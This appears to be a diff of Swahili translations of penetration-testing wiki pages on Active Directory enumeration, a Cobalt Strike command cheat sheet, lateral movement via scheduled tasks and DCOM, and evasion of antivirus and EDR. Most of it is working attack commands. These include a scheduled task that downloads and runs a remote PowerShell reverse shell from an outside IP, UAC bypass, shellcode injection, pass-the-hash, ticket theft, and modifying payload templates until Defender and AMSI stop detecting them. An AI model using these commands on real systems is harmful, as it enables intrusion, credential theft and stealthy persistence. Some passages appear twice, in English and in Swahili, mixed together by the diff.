Get-NetGroupMember -GroupName "Administrators" -Recurse | ?{$_.IsGroup -match "false"} | %{Get-ObjectACL -SamAccountName $_.MemberName -ResolveGUIDs} | select ObjectDN, IdentityReference, ActiveDirectoryRights
```
### Faili na folda zilizoshirikiwa
```powershell
```bash
Get-NetFileServer #Search file servers. Lot of users use to be logged in this kind of servers
Find-DomainShare -CheckShareAccess #Search readable shares
Find-InterestingDomainShareFile #Find interesting files, can use filters
```
### Uaminifu wa Kikoa
```powershell
```bash
Get-NetDomainTrust #Get all domain trusts (parent, children and external)
Get-DomainTrust #Same
Get-NetForestDomain | Get-NetDomainTrust #Enumerate all the trusts of all the domains found
@ -222,7 +222,7 @@ Get-DomainForeingUser #Get users with privileges in other domains inside the for
Get-DomainForeignGroupMember #Get groups with privileges in other domains inside the forest
```
### L**ow**-**hanging fruit**
```powershell
```bash
#Check if any user passwords are set
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl
@ -260,7 +260,7 @@ Invoke-UserHunter -GroupName "RDPUsers"
Invoke-UserHunter -Stealth
```
### Vitu vilivyofutwa
```powershell
```bash
#This isn't a powerview command, it's a feature from the AD management powershell module of Microsoft
#You need to be in the AD Recycle Bin group of the AD to list the deleted AD objects
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
@ -268,22 +268,22 @@ Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
### MISC
#### SID to Name
```powershell
```bash
"S-1-5-21-1874506631-3219952063-538504511-2136" | Convert-SidToName
```
#### Kerberoast
```powershell
```bash
Invoke-Kerberoast [-Identity websvc] #Without "-Identity" kerberoast all possible users
```
#### Tumia akreditif tofauti (hoja)
```powershell
```bash
# use an alterate creadential for any function
$SecPassword = ConvertTo-SecureString 'BurgerBurgerBurger!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainUser -Credential $Cred
```
#### Jifanya kuwa mtumiaji
```powershell
```bash
# if running in -sta mode, impersonate another credential a la "runas /netonly"
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
@ -292,7 +292,7 @@ Invoke-UserImpersonation -Credential $Cred
Invoke-RevertToSelf
```
#### Weka thamani
```powershell
```bash
# set the specified property for the given user identity
Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose
# Set the owner of 'dfm' in the current domain to 'harmj0y'

View File

@ -4,7 +4,7 @@
### C2 Listeners
`Cobalt Strike -> Listeners -> Add/Edit` kisha unaweza kuchagua wapi kusikiliza, ni aina gani ya beacon kutumia (http, dns, smb...) na zaidi.
`Cobalt Strike -> Listeners -> Add/Edit` kisha unaweza kuchagua wapi kusikiliza, ni aina gani ya beacon ya kutumia (http, dns, smb...) na zaidi.
### Peer2Peer Listeners
@ -12,8 +12,8 @@ Beacons za wasikilizaji hawa hazihitaji kuzungumza na C2 moja kwa moja, wanaweza
`Cobalt Strike -> Listeners -> Add/Edit` kisha unahitaji kuchagua TCP au SMB beacons
* **TCP beacon itaanzisha msikilizaji katika bandari iliyochaguliwa**. Kuungana na TCP beacon tumia amri `connect <ip> <port>` kutoka beacon nyingine
* **smb beacon itasikiliza katika pipename yenye jina lililochaguliwa**. Kuungana na SMB beacon unahitaji kutumia amri `link [target] [pipe]`.
* **Beacon ya TCP itaanzisha msikilizaji katika bandari iliyochaguliwa**. Kuungana na beacon ya TCP tumia amri `connect <ip> <port>` kutoka beacon nyingine
* **Beacon ya smb itasikiliza katika pipename yenye jina lililochaguliwa**. Kuungana na beacon ya SMB unahitaji kutumia amri `link [target] [pipe]`.
### Generate & Host payloads
@ -38,9 +38,10 @@ Ikiwa tayari una faili unayotaka kuhifadhi kwenye seva ya wavuti nenda tu kwa `A
<pre class="language-bash"><code class="lang-bash"># Execute local .NET binary
execute-assembly </path/to/executable.exe>
# Kumbuka kwamba ili kupakia assemblies kubwa zaidi ya 1MB, mali ya 'tasks_max_size' ya profaili ya malleable inahitaji kubadilishwa.
# Screenshots
printscreen # Chukua picha moja kupitia PrintScr method
printscreen # Chukua picha moja kupitia njia ya PrintScr
screenshot # Chukua picha moja
screenwatch # Chukua picha za kawaida za desktop
## Nenda kwa View -> Screenshots kuziangalia
@ -54,16 +55,21 @@ portscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # Ingi
portscan [targets] [ports] [arp|icmp|none] [max connections]
# Powershell
# Import Powershell module
## Import Powershell module
powershell-import C:\path\to\PowerView.ps1
powershell <andika amri ya powershell hapa>
powershell-import /root/Tools/PowerSploit/Privesc/PowerUp.ps1
powershell <andika amri ya powershell hapa> # Hii inatumia toleo la juu zaidi la powershell linaloungwa mkono (sio oppsec)
powerpick <cmdlet> <args> # Hii inaunda mchakato wa dhabihu ulioainishwa na spawnto, na kuingiza UnmanagedPowerShell ndani yake kwa ajili ya opsec bora (sio logging)
powerpick Invoke-PrivescAudit | fl
psinject <pid> <arch> <commandlet> <arguments> # Hii inaingiza UnmanagedPowerShell ndani ya mchakato ulioainishwa ili kuendesha cmdlet ya PowerShell.
# User impersonation
## Token generation with creds
make_token [DOMAIN\user] [password] #Unda token ili kuiga mtumiaji katika mtandao
ls \\computer_name\c$ # Jaribu kutumia token iliyoundwa kufikia C$ katika kompyuta
rev2self # Acha kutumia token iliyoundwa na make_token
## Matumizi ya make_token yanazalisha tukio 4624: Akaunti ilifanikiwa kuingia. Tukio hili ni la kawaida katika eneo la Windows, lakini linaweza kupunguzika kwa kuchuja kwenye Aina ya Kuingia. Kama ilivyotajwa hapo juu, inatumia LOGON32_LOGON_NEW_CREDENTIALS ambayo ni aina ya 9.
## Matumizi ya make_token yanazalisha tukio 4624: Akaunti ilifanikiwa kuingia. Tukio hili ni la kawaida sana katika eneo la Windows, lakini linaweza kupunguzika kwa kuchuja kwa Aina ya Kuingia. Kama ilivyotajwa hapo juu, inatumia LOGON32_LOGON_NEW_CREDENTIALS ambayo ni aina ya 9.
# UAC Bypass
elevate svc-exe <listener>
@ -72,35 +78,36 @@ runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.w
## Steal token from pid
## Kama make_token lakini kuiba token kutoka kwa mchakato
steal_token [pid] # Pia, hii ni muhimu kwa hatua za mtandao, si hatua za ndani
## Kutoka kwenye hati ya API tunajua kwamba aina hii ya kuingia "inaruhusu mwito kuiga token yake ya sasa". Hii ndiyo sababu matokeo ya Beacon yanasema Imepitishwa <current_username> - inaimarisha token yetu iliyokopwa.
steal_token [pid] # Pia, hii ni muhimu kwa hatua za mtandao, sio hatua za ndani
## Kutoka kwa hati ya API tunajua kwamba aina hii ya kuingia "inaruhusu mwito kuiga token yake ya sasa". Hii ndiyo sababu matokeo ya Beacon yanasema Imepitishwa <current_username> - inaimarisha token yetu iliyokopwa.
ls \\computer_name\c$ # Jaribu kutumia token iliyoundwa kufikia C$ katika kompyuta
rev2self # Acha kutumia token kutoka steal_token
## Launch process with nwe credentials
spawnas [domain\username] [password] [listener] #Fanya kutoka kwenye saraka yenye ufikiaji wa kusoma kama: cd C:\
## Kama make_token, hii itazalisha tukio la Windows 4624: Akaunti ilifanikiwa kuingia lakini kwa aina ya kuingia ya 2 (LOGON32_LOGON_INTERACTIVE). Itabainisha mtumiaji anayepiga simu (TargetUserName) na mtumiaji anayepitishwa (TargetOutboundUserName).
spawnas [domain\username] [password] [listener] #Fanya hivyo kutoka kwenye saraka yenye ruhusa ya kusoma kama: cd C:\
## Kama make_token, hii itazalisha tukio la Windows 4624: Akaunti ilifanikiwa kuingia lakini kwa aina ya kuingia ya 2 (LOGON32_LOGON_INTERACTIVE). Itabainisha mtumiaji anayeita (TargetUserName) na mtumiaji anayepitishwa (TargetOutboundUserName).
## Inject into process
inject [pid] [x64|x86] [listener]
## Kutoka kwa mtazamo wa OpSec: Usifanye sindano ya kuvuka jukwaa isipokuwa ni lazima (mfano: x86 -> x64 au x64 -> x86).
## Kutoka kwa mtazamo wa OpSec: Usifanye kuingiza msalaba wa jukwaa isipokuwa ni lazima (mfano x86 -> x64 au x64 -> x86).
## Pass the hash
## Mchakato huu wa mabadiliko unahitaji kubadilisha kumbukumbu ya LSASS ambayo ni hatua ya hatari kubwa, inahitaji ruhusa za admin za ndani na si rahisi sana ikiwa Mchakato Ulinzi Mwanga (PPL) umewezeshwa.
## Mchakato huu wa mabadiliko unahitaji kubadilisha kumbukumbu ya LSASS ambayo ni hatua ya hatari kubwa, inahitaji ruhusa za admin za ndani na sio rahisi sana ikiwa Mchakato Uliolindwa Mwanga (PPL) umewezeshwa.
pth [pid] [arch] [DOMAIN\user] [NTLM hash]
pth [DOMAIN\user] [NTLM hash]
## Pass the hash through mimikatz
mimikatz sekurlsa::pth /user:<username> /domain:<DOMAIN> /ntlm:<NTLM HASH> /run:"powershell -w hidden"
## Bila /run, mimikatz itazalisha cmd.exe, ikiwa unakimbia kama mtumiaji mwenye Desktop, ataona shell (ikiwa unakimbia kama SYSTEM uko sawa)
## Bila /run, mimikatz itazalisha cmd.exe, ikiwa unafanya kazi kama mtumiaji mwenye Desktop, ataona shell (ikiwa unafanya kazi kama SYSTEM uko sawa)
steal_token <pid> #Iba token kutoka kwa mchakato ulioanzishwa na mimikatz
## Pass the ticket
## Omba tiketi
execute-assembly /root/Tools/SharpCollection/Seatbelt.exe -group=system
execute-assembly C:\path\Rubeus.exe asktgt /user:<username> /domain:<domain> /aes256:<aes_keys> /nowrap /opsec
## Unda kikao kipya cha kuingia ili kutumia tiketi mpya (ili usifute ile iliyovunjika)
## Unda kikao kipya cha kuingia ili kutumia tiketi mpya (ili usifute ile iliyovunjwa)
make_token <domain>\<username> DummyPass
## Andika tiketi kwenye mashine ya mshambuliaji kutoka kwenye kikao cha poweshell & ipakie
## Andika tiketi kwenye mashine ya mshambuliaji kutoka kwa kikao cha poweshell & ipakue
[System.IO.File]::WriteAllBytes("C:\Users\Administrator\Desktop\jkingTGT.kirbi", [System.Convert]::FromBase64String("[...ticket...]"))
kerberos_ticket_use C:\Users\Administrator\Desktop\jkingTGT.kirbi
@ -119,7 +126,7 @@ execute-assembly C:\path\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap
execute-assembly C:\path\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe
### Insert ticket in generate logon session
execute-assembly C:\path\Rubeus.exe ptt /luid:0x92a8c /ticket:[...base64-ticket...]
### Hatimaye, iba token kutoka kwa mchakato huo mpya
### Finally, steal the token from that new process
steal_token <pid>
# Lateral Movement
@ -131,14 +138,16 @@ jump [method] [target] [listener]
## psexec_psh x86 Tumia huduma kuendesha PowerShell one-liner
## winrm x86 Endesha script ya PowerShell kupitia WinRM
## winrm64 x64 Endesha script ya PowerShell kupitia WinRM
## wmi_msbuild x64 wmi lateral movement with msbuild inline c# task (oppsec)
remote-exec [method] [target] [command]
remote-exec [method] [target] [command] # remote-exec doesn't return output
## Methods:
<strong>## psexec Remote execute via Service Control Manager
</strong>## winrm Remote execute via WinRM (PowerShell)
## psexec Remote execute via Service Control Manager
## winrm Remote execute via WinRM (PowerShell)
## wmi Remote execute via WMI
## Ili kutekeleza beacon na wmi (haipo katika amri ya jump) pakia tu beacon na uitekeleze
## Ili kuendesha beacon kwa wmi (haipo katika amri ya jump) pakua tu beacon na uendeshe
beacon> upload C:\Payloads\beacon-smb.exe
beacon> remote-exec wmi srv-1 C:\Windows\beacon-smb.exe
@ -158,14 +167,14 @@ beacon> spawn metasploit
# Pass session to Metasploit - Through shellcode injection
## Kwenye mwenyeji wa metasploit
msfvenom -p windows/x64/meterpreter_reverse_http LHOST=<IP> LPORT=<PORT> -f raw -o /tmp/msf.bin
## Kimbia msfvenom na uandae msikilizaji wa multi/handler
## Endesha msfvenom na uandae msikilizaji wa multi/handler
## Nakili faili ya bin kwenye mwenyeji wa cobalt strike
ps
shinject <pid> x64 C:\Payloads\msf.bin #Ingiza shellcode ya metasploit katika mchakato wa x64
# Pass metasploit session to cobalt strike
## Fenerate stageless Beacon shellcode, nenda kwa Attacks > Packages > Windows Executable (S), chagua msikilizaji unaotaka, chagua Raw kama aina ya Matokeo na chagua Tumia x64 payload.
## Fenerate stageless Beacon shellcode, nenda kwa Attacks > Packages > Windows Executable (S), chagua msikilizaji unaotaka, chagua Raw kama aina ya Matokeo na chagua Tumia payload ya x64.
## Tumia post/windows/manage/shellcode_inject katika metasploit kuingiza shellcode iliyozalishwa ya cobalt strike
@ -176,50 +185,178 @@ beacon> socks 1080
# SSH connection
beacon> ssh 10.10.17.12:22 username password</code></pre>
## Avoiding AVs
## Opsec
### Artifact Kit
### Execute-Assembly
Kawaida katika `/opt/cobaltstrike/artifact-kit` unaweza kupata msimbo na templeti zilizotengenezwa awali (katika `/src-common`) za payloads ambazo cobalt strike itatumia kuzalisha beacons za binary.
**`execute-assembly`** inatumia **mchakato wa dhabihu** kwa kutumia kuingiza mchakato wa mbali ili kuendesha programu iliyoonyeshwa. Hii ni kelele sana kwani kuingiza ndani ya mchakato APIs fulani za Win zinatumika ambazo kila EDR inakagua. Hata hivyo, kuna zana za kawaida ambazo zinaweza kutumika kupakia kitu katika mchakato sawa:
Kwa kutumia [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) na backdoor iliyozalishwa (au tu na templeti iliyotengenezwa) unaweza kupata kile kinachosababisha defender kuanzisha. Kawaida ni mfuatano. Hivyo unaweza tu kubadilisha msimbo unaozalisha backdoor ili mfuatano huo usionekane katika binary ya mwisho.
- [https://github.com/anthemtotheego/InlineExecute-Assembly](https://github.com/anthemtotheego/InlineExecute-Assembly)
- [https://github.com/kyleavery/inject-assembly](https://github.com/kyleavery/inject-assembly)
- Katika Cobalt Strike unaweza pia kutumia BOF (Beacon Object Files): [https://github.com/CCob/BOF.NET](https://github.com/CCob/BOF.NET)
- [https://github.com/kyleavery/inject-assembly](https://github.com/kyleavery/inject-assembly)
Script ya agressor `https://github.com/outflanknl/HelpColor` itaunda amri ya `helpx` katika Cobalt Strike ambayo itaweka rangi katika amri ikionyesha ikiwa ni BOFs (kijani), ikiwa ni Frok&Run (njano) na kadhalika, au ikiwa ni ProcessExecution, kuingiza au sawa (nyekundu). Ambayo inasaidia kujua ni amri zipi ziko stealthy zaidi.
### Act as the user
Unaweza kuangalia matukio kama `Seatbelt.exe LogonEvents ExplicitLogonEvents PoweredOnEvents`:
- Usalama EID 4624 - Angalia kuingia kwa mwingiliano wote ili kujua masaa ya kawaida ya kazi.
- Mfumo EID 12,13 - Angalia mara za kuzima/kuzindua/usingizi.
- Usalama EID 4624/4625 - Angalia majaribio halali/asiye halali ya NTLM.
- Usalama EID 4648 - Tukio hili linaundwa wakati akidi za maandiko zinapotumika kuingia. Ikiwa mchakato umeunda, binary hiyo ina uwezekano wa kuwa na akidi hizo wazi katika faili ya usanidi au ndani ya msimbo.
Unapotumia `jump` kutoka cobalt strike, ni bora kutumia njia ya `wmi_msbuild` ili kufanya mchakato mpya uonekane halali zaidi.
### Use computer accounts
Ni kawaida kwa walinzi kuangalia tabia za ajabu zinazozalishwa na watumiaji na **kuondoa akaunti za huduma na akaunti za kompyuta kama `*$` kutoka kwa ufuatiliaji wao**. Unaweza kutumia akaunti hizi kufanya harakati za pembeni au kupandisha ruhusa.
### Use stageless payloads
Payloads zisizo na hatua ni kelele kidogo kuliko zile zilizopangwa kwa sababu hazihitaji kupakua hatua ya pili kutoka kwa seva ya C2. Hii inamaanisha kwamba hazizalishi trafiki yoyote ya mtandao baada ya muunganisho wa awali, na kufanya kuwa na uwezekano mdogo wa kugunduliwa na ulinzi wa mtandao.
### Tokens & Token Store
Kuwa makini unapoiba au kuunda token kwa sababu inaweza kuwa inawezekana kwa EDR kuhesabu token zote za nyuzi zote na kupata **token inayomilikiwa na mtumiaji tofauti** au hata SYSTEM katika mchakato.
Hii inaruhusu kuhifadhi token **kwa beacon** ili sio lazima kuiba token ile ile tena na tena. Hii ni muhimu kwa harakati za pembeni au unapohitaji kutumia token iliyopatikana mara nyingi:
- token-store steal <pid>
- token-store steal-and-use <pid>
- token-store show
- token-store use <id>
- token-store remove <id>
- token-store remove-all
Unapohamisha pembeni, kawaida ni bora **kuiba token kuliko kuunda mpya** au kufanya shambulio la kupitisha hash.
### Guardrails
Cobalt Strike ina kipengele kinachoitwa **Guardrails** ambacho husaidia kuzuia matumizi ya amri au hatua fulani ambazo zinaweza kugunduliwa na walinzi. Guardrails zinaweza kuundwa kuzuia amri maalum, kama vile `make_token`, `jump`, `remote-exec`, na nyinginezo ambazo hutumiwa mara kwa mara kwa harakati za pembeni au kupandisha ruhusa.
Zaidi ya hayo, repo [https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks](https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks) pia ina baadhi ya ukaguzi na mawazo ambayo unaweza kuzingatia kabla ya kutekeleza payload.
### Tickets encryption
Katika AD kuwa makini na usimbaji wa tiketi. Kawaida, zana fulani zitatumia usimbaji wa RC4 kwa tiketi za Kerberos, ambayo ni salama kidogo kuliko usimbaji wa AES na kwa kawaida mazingira ya kisasa yatatumia AES. Hii inaweza kugunduliwa na walinzi wanaofuatilia algorithimu dhaifu za usimbaji.
### Avoid Defaults
Unapotumia Cobalt Strike kwa kawaida mabomba ya SMB yatakuwa na jina `msagent_####` na `"status_####`. Badilisha majina hayo. Inawezekana kuangalia majina ya mabomba yaliyopo kutoka Cobalt Strike kwa amri: `ls \\.\pipe\`
Zaidi ya hayo, na vikao vya SSH bomba linaloitwa `\\.\pipe\postex_ssh_####` linaanzishwa. Badilisha kwa `set ssh_pipename "<new_name>";`.
Pia katika shambulio la baada ya unyakuzi mabomba `\\.\pipe\postex_####` yanaweza kubadilishwa kwa `set pipename "<new_name>"`.
Katika profaili za Cobalt Strike unaweza pia kubadilisha mambo kama:
- Kuepuka kutumia `rwx`
- Jinsi tabia ya kuingiza mchakato inavyofanya kazi (ni APIs zipi zitakazotumika) katika block ya `process-inject {...}`
- Jinsi "fork and run" inavyofanya kazi katika block ya `post-ex {…}`
- Wakati wa kulala
- Ukubwa wa juu wa binaries zinazoweza kupakiwa kwenye kumbukumbu
- Alama ya kumbukumbu na maudhui ya DLL na block ya `stage {...}`
- Trafiki ya mtandao
### Bypass memory scanning
Baadhi ya EDRs zinakagua kumbukumbu kwa baadhi ya saini za malware zinazojulikana. Coblat Strike inaruhusu kubadilisha kazi ya `sleep_mask` kama BOF ambayo itakuwa na uwezo wa kusimbua katika kumbukumbu backdoor.
### Noisy proc injections
Wakati wa kuingiza msimbo katika mchakato hii kwa kawaida ni kelele sana, hii ni kwa sababu **hakuna mchakato wa kawaida unafanya hatua hii na kwa sababu njia za kufanya hivyo ni chache sana**. Hivyo, inaweza kugunduliwa na mifumo ya kugundua inayotegemea tabia. Aidha, inaweza pia kugunduliwa na EDRs zinazoskania mtandao kwa **nyuzi zinazohusisha msimbo ambao haupo kwenye diski** (ingawa michakato kama vivinjari vinavyotumia JIT vina hii kawaida). Mfano: [https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2](https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2)
### Spawnas | PID and PPID relationships
Unapozalisha mchakato mpya ni muhimu **kuhifadhi uhusiano wa kawaida wa mzazi-na-mwana** kati ya michakato ili kuepuka kugunduliwa. Ikiwa svchost.exec inatekeleza iexplorer.exe itakuwa na shaka, kwani svchost.exe si mzazi wa iexplorer.exe katika mazingira ya kawaida ya Windows.
Wakati beacon mpya inazalishwa katika Cobalt Strike kwa kawaida mchakato unaotumia **`rundll32.exe`** unaundwa ili kuendesha msikilizaji mpya. Hii si stealthy sana na inaweza kugunduliwa kwa urahisi na EDRs. Zaidi ya hayo, `rundll32.exe` inatekelezwa bila args yoyote ikifanya kuwa na shaka zaidi.
Kwa amri ifuatayo ya Cobalt Strike, unaweza kuainisha mchakato tofauti ili kuanzisha beacon mpya, na kuifanya iwe ngumu kugundua:
```bash
spawnto x86 svchost.exe
```
You can aso change this setting **`spawnto_x86` and `spawnto_x64`** in a profile.
### Proxying attackers traffic
Wakati mwingine washambuliaji watahitaji kuwa na uwezo wa kuendesha zana kwa ndani, hata kwenye mashine za linux na kufanya trafiki ya waathirika ifikie zana (e.g. NTLM relay).
Zaidi ya hayo, wakati mwingine kufanya shambulio la pass-the-hash au pass-the-ticket ni rahisi zaidi kwa mshambuliaji **kuongeza hash hii au tiketi katika mchakato wake wa LSASS** kwa ndani na kisha pivot kutoka kwake badala ya kubadilisha mchakato wa LSASS wa mashine ya mwathirika.
Hata hivyo, unahitaji kuwa **makini na trafiki inayozalishwa**, kwani unaweza kuwa unatumia trafiki isiyo ya kawaida (kerberos?) kutoka kwa mchakato wako wa backdoor. Kwa hili unaweza pivot kwa mchakato wa kivinjari (ingawa unaweza kukamatwa ukiingiza mwenyewe katika mchakato hivyo fikiria njia ya siri ya kufanya hivi).
```bash
### Avoiding AVs
#### AV/AMSI/ETW Bypass
Check the page:
{{#ref}}
av-bypass.md
{{#endref}}
#### Artifact Kit
Usually in `/opt/cobaltstrike/artifact-kit` you can find the code and pre-compiled templates (in `/src-common`) of the payloads that cobalt strike is going to use to generate the binary beacons.
Using [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) with the generated backdoor (or just with the compiled template) you can find what is making defender trigger. It's usually a string. Therefore you can just modify the code that is generating the backdoor so that string doesn't appear in the final binary.
After modifying the code just run `./build.sh` from the same directory and copy the `dist-pipe/` folder into the Windows client in `C:\Tools\cobaltstrike\ArtifactKit`.
Baada ya kubadilisha msimbo kimbia tu `./build.sh` kutoka kwenye saraka hiyo hiyo na nakili folda ya `dist-pipe/` ndani ya mteja wa Windows katika `C:\Tools\cobaltstrike\ArtifactKit`.
```
pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .
```
Usisahau kupakia skripti ya nguvu `dist-pipe\artifact.cna` kuonyesha Cobalt Strike kutumia rasilimali kutoka diski ambazo tunataka na si zile zilizopakiwa.
### Resource Kit
Don't forget to load the aggressive script `dist-pipe\artifact.cna` to indicate Cobalt Strike to use the resources from disk that we want and not the ones loaded.
Folda ya ResourceKit ina templates za payloads za msingi wa skripti za Cobalt Strike ikiwa ni pamoja na PowerShell, VBA na HTA.
#### Resource Kit
The ResourceKit folder contains the templates for Cobalt Strike's script-based payloads including PowerShell, VBA and HTA.
Using [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) with the templates you can find what is defender (AMSI in this case) not liking and modify it:
Kwa kutumia [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) pamoja na templates unaweza kupata kile ambacho mlinzi (AMSI katika kesi hii) hakipendi na kukibadilisha:
```
.\ThreatCheck.exe -e AMSI -f .\cobaltstrike\ResourceKit\template.x64.ps1
```
Kubadilisha mistari iliyogunduliwa kunaweza kuunda kiolezo ambacho hakitakamatwa.
Usisahau kupakia skripti ya nguvu `ResourceKit\resources.cna` ili kuonyesha Cobalt Strike kutumia rasilimali kutoka kwa diski ambazo tunataka na si zile zilizopakiwa.
Modifying the detected lines one can generate a template that won't be caught.
Don't forget to load the aggressive script `ResourceKit\resources.cna` to indicate Cobalt Strike to luse the resources from disk that we want and not the ones loaded.
#### Function hooks | Syscall
Function hooking is a very common method of ERDs to detect malicious activity. Cobalt Strike allows you to bypass these hooks by using **syscalls** instead of the standard Windows API calls using the **`None`** config, or use the `Nt*` version of a function with the **`Direct`** setting, or just jumping over the `Nt*` function with the **`Indirect`** option in the malleable profile. Depending on the system, an optino might be more stealth then the other.
This can be set in the profile or suing the command **`syscall-method`**
However, this could also be noisy.
Some option granted by Cobalt Strike to bypass function hooks is to remove those hooks with: [**unhook-bof**](https://github.com/Cobalt-Strike/unhook-bof).
You could also check with functions are hooked with [**https://github.com/Mr-Un1k0d3r/EDRs**](https://github.com/Mr-Un1k0d3r/EDRs) or [**https://github.com/matterpreter/OffensiveCSharp/tree/master/HookDetector**](https://github.com/matterpreter/OffensiveCSharp/tree/master/HookDetector)
```bash
cd C:\Tools\neo4j\bin
neo4j.bat console
http://localhost:7474/ --> Change password
execute-assembly C:\Tools\SharpHound3\SharpHound3\bin\Debug\SharpHound.exe -c All -d DOMAIN.LOCAL
cd C:\Tools\neo4j\bin
neo4j.bat console
http://localhost:7474/ --> Badilisha nenosiri
execute-assembly C:\Tools\SharpHound3\SharpHound3\bin\Debug\SharpHound.exe -c All -d DOMAIN.LOCAL
# Badilisha powershell
C:\Tools\cobaltstrike\ResourceKit
template.x64.ps1
# Badilisha $var_code -> $polop
# $x --> $ar
cobalt strike --> script manager --> Load --> Cargar C:\Tools\cobaltstrike\ResourceKit\resources.cna
# Change powershell
C:\Tools\cobaltstrike\ResourceKit
template.x64.ps1
# Change $var_code -> $polop
# $x --> $ar
cobalt strike --> script manager --> Load --> Cargar C:\Tools\cobaltstrike\ResourceKit\resources.cna
#artifact kit
cd C:\Tools\cobaltstrike\ArtifactKit
#artifact kit
cd C:\Tools\cobaltstrike\ArtifactKit
pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .
```

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
Kuna njia tofauti za kutekeleza amri katika mifumo ya nje, hapa unaweza kupata maelezo kuhusu jinsi mbinu kuu za Windows lateral movements zinavyofanya kazi:
Kuna njia tofauti za kutekeleza amri katika mifumo ya nje, hapa unaweza kupata maelezo kuhusu jinsi mbinu kuu za Windows za lateral movement zinavyofanya kazi:
- [**PsExec**](psexec-and-winexec.md)
- [**SmbExec**](smbexec.md)
@ -10,6 +10,8 @@ Kuna njia tofauti za kutekeleza amri katika mifumo ya nje, hapa unaweza kupata m
- [**AtExec / SchtasksExec**](atexec.md)
- [**WinRM**](winrm.md)
- [**DCOM Exec**](dcom-exec.md)
- [**RDPexec**](rdpexec.md)
- [**SCMexec**](scmexec.md)
- [**Pass the cookie**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.html) (cloud)
- [**Pass the PRT**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.html) (cloud)
- [**Pass the AzureAD Certificate**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.html) (cloud)

View File

@ -18,10 +18,18 @@ schtasks /run /tn <TASK_NAME> /S <VICTIM>
schtasks /create /S dcorp-dc.domain.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "MyNewtask" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.X/InvokePowerShellTcp.ps1''')'"
schtasks /run /tn "MyNewtask" /S dcorp-dc.domain.local
```
Unaweza kutumia **Impacket's `atexec.py`** kutekeleza amri kwenye mifumo ya mbali kwa kutumia amri ya AT. Hii inahitaji akreditif za halali (jina la mtumiaji na nenosiri au hash) kwa ajili ya mfumo wa lengo.
```bash
atexec.py 'DOMAIN'/'USER':'PASSWORD'@'target_ip' whoami
```
Unaweza pia kutumia [SharpLateral](https://github.com/mertdas/SharpLateral):
```bash
SharpLateral schedule HOSTNAME C:\Users\Administrator\Desktop\malware.exe TaskName
```
Maelezo zaidi kuhusu [**matumizi ya schtasks na tiketi za fedha hapa**](../active-directory-methodology/silver-ticket.md#host).
Unaweza kutumia [SharpMove](https://github.com/0xthirteen/SharpMove):
```bash
SharpMove.exe action=taskscheduler computername=remote.host.local command="C:\windows\temp\payload.exe" taskname=Debug amsi=true username=domain\\user password=password
```
Zaidi ya habari kuhusu [**matumizi ya schtasks na tiketi za fedha hapa**](../active-directory-methodology/silver-ticket.md#host).
{{#include ../../banners/hacktricks-training.md}}

View File

@ -6,25 +6,25 @@
**Kwa maelezo zaidi kuhusu mbinu hii angalia chapisho la asili kutoka [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)**
Distributed Component Object Model (DCOM) hutoa uwezo wa kuvutia kwa mwingiliano wa mtandao na vitu. Microsoft inatoa nyaraka kamili kwa DCOM na Component Object Model (COM), zinazopatikana [hapa kwa DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) na [hapa kwa COM](<https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363(v=vs.85).aspx>). Orodha ya programu za DCOM inaweza kupatikana kwa kutumia amri ya PowerShell:
Distributed Component Object Model (DCOM) objects zina uwezo wa kuvutia kwa mwingiliano wa mtandao na vitu. Microsoft inatoa nyaraka kamili kwa DCOM na Component Object Model (COM), zinazopatikana [hapa kwa DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) na [hapa kwa COM](<https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363(v=vs.85).aspx>). Orodha ya maombi ya DCOM inaweza kupatikana kwa kutumia amri ya PowerShell:
```bash
Get-CimInstance Win32_DCOMApplication
```
Objekti ya COM, [MMC Application Class (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), inaruhusu uandishi wa operesheni za MMC snap-in. Kwa hakika, objekti hii ina `ExecuteShellCommand` njia chini ya `Document.ActiveView`. Taarifa zaidi kuhusu njia hii inaweza kupatikana [hapa](<https://msdn.microsoft.com/en-us/library/aa815396(v=vs.85).aspx>). Angalia inavyofanya kazi:
